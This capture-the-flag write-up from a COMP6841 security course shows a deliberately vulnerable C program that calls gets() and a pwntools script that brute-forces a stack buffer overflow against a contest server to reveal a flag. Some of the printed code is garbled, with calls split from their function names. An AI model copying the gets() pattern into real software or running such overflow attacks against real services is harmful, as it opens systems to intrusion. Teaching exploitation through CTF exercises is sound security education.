Contest Source: COMP6[84]41 CTF
Note that all flags have been replaced with “COMP6841{REDACTED}”. This is to discourage you from just blindly submitting the final answer, and to encourage you to follow along and learn something along the way.
We are given a netcat IP address and a exploitable buffer code. Let’s look at it:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define BUFFER_SIZE 16
#define FLAG_SIZE 50
#define QUOTE_SIZE 4
char flag[FLAG_SIZE];
char quotes[QUOTE_SIZE][100] = {"NOT ENOUGH COOKIES", "I'M STILL HUNGRY", "MORE", "GRRR GIVE ME COOKIES"};
void oppsie(void) {
char c1 = 1;
char c2 = 1;
char c3 = 1;
char c4 = 1;
char c5 = 1;
char c6 = 1;
char buffer[BUFFER_SIZE];
(buffer);
gets
if (c1 == 'C' && c2 == 'O' && c3 == 'O' && c4 == 'K' && c5 == 'I' && c6 == 'E') {
("%s\n", flag);
printf(stdout);
fflush(1);
exit}
}
void cry(int counter) {
("%s", quotes[counter % QUOTE_SIZE]);
printffor (int i = counter*2; i > 0; i--) {
("!");
printf}
("\n");
printf}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
("Missing flag.txt\n");
printf(0);
exit}
(flag, FLAG_SIZE, f);
fgets
("HI, I'M THE COOKIE MONSTER AND I LOVE COOKIES\n");
printf
int counter = 0;
while (1) {
("Feed the cookie monster: ");
printf(stdout);
fflush();
oppsieif (counter > 0) {
(counter);
cry}
++;
counter}
return 0;
}
So right off the bat, it looks like the oppsie
function is going to be pretty important, since if we can somehow get the variables c1
to c6
equal to “COOKIE”, then we can get the flag. Unfortunately, we have no way of changing them from their initial values, so it seems impossible.
However, we can exploit a buffer overflow in the gets(buffer)
line. gets
is insecure, and does not check the size of the buffer when scanning in. This means that if we enter a string that is longer than BUFFER_SIZE (16 in this case), we will start to overflow our buffer and overwrite values in the stack. Hence, we can enter something like “AAAAAAAAAAAAAAAAEIKOOC” (16 A’s, followed by COOKIE in reverse because we overwrite the variables in reverse order) in order to overwrite the next variables on the stack, which of course happen to be c6
, c5
, c4
, etc.
Though in reality, it’s not all that simple. Because of how compilers will align variable addresses, we’re not guaranteed that we need exactly 16 A’s. It can be a little bit more than that. Thus, it’s useful to write a script that will try all sorts of different numbers of A. pwntools
provides a really nice tool that allows us to quickly connect to such a netcat server and brute force all the different numbers until we find one that works. Here’s a very crude implementation that crashes as soon as it finds the correct number of A’s:
from pwn import *
= remote("13.210.180.94", 10001)
conn for i in range(16, 30):
b'Feed the cookie monster: ')
conn.recvuntil(= b'A'*i+b'EIKOOC\n'
s
conn.send(s)print(i, s)
conn.close()
Running it, we get:
$ python3 get.py
16 b'AAAAAAAAAAAAAAAAEIKOOC\n'
17 b'AAAAAAAAAAAAAAAAAEIKOOC\n'
18 b'AAAAAAAAAAAAAAAAAAEIKOOC\n'
19 b'AAAAAAAAAAAAAAAAAAAEIKOOC\n'
20 b'AAAAAAAAAAAAAAAAAAAAEIKOOC\n'
21 b'AAAAAAAAAAAAAAAAAAAAAEIKOOC\n'
22 b'AAAAAAAAAAAAAAAAAAAAAAEIKOOC\n'
23 b'AAAAAAAAAAAAAAAAAAAAAAAEIKOOC\n'
24 b'AAAAAAAAAAAAAAAAAAAAAAAAEIKOOC\n'
25 b'AAAAAAAAAAAAAAAAAAAAAAAAAEIKOOC\n'
26 b'AAAAAAAAAAAAAAAAAAAAAAAAAAEIKOOC\n'
Traceback (most recent call last):
File "attack.py", line 5, in
conn.recvuntil(b'Feed the cookie monster: ')
File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pwnlib/tubes/tube.py", line 333, in recvuntil
res = self.recv(timeout=self.timeout)
File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pwnlib/tubes/tube.py", line 105, in recv
return self._recv(numb, timeout) or b''
File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pwnlib/tubes/tube.py", line 183, in _recv
if not self.buffer and not self._fillbuffer(timeout):
File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pwnlib/tubes/tube.py", line 154, in _fillbuffer
data = self.recv_raw(self.buffer.get_fill_size())
File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
raise EOFError
EOFError
[*] Closed connection to 13.210.180.94 port 10001
Which tells us that 26 A’s caused the program to exit without giving us another “Feed the cookie monster:” message. In other words, we’ve found the right number of A’s to trigger the oppsie
code! We can now manually enter in the correct string to get the flag, or alternately run pwntools in DEBUG mode so that it returns the final message before the program crashed.
$ python3 get.py DEBUG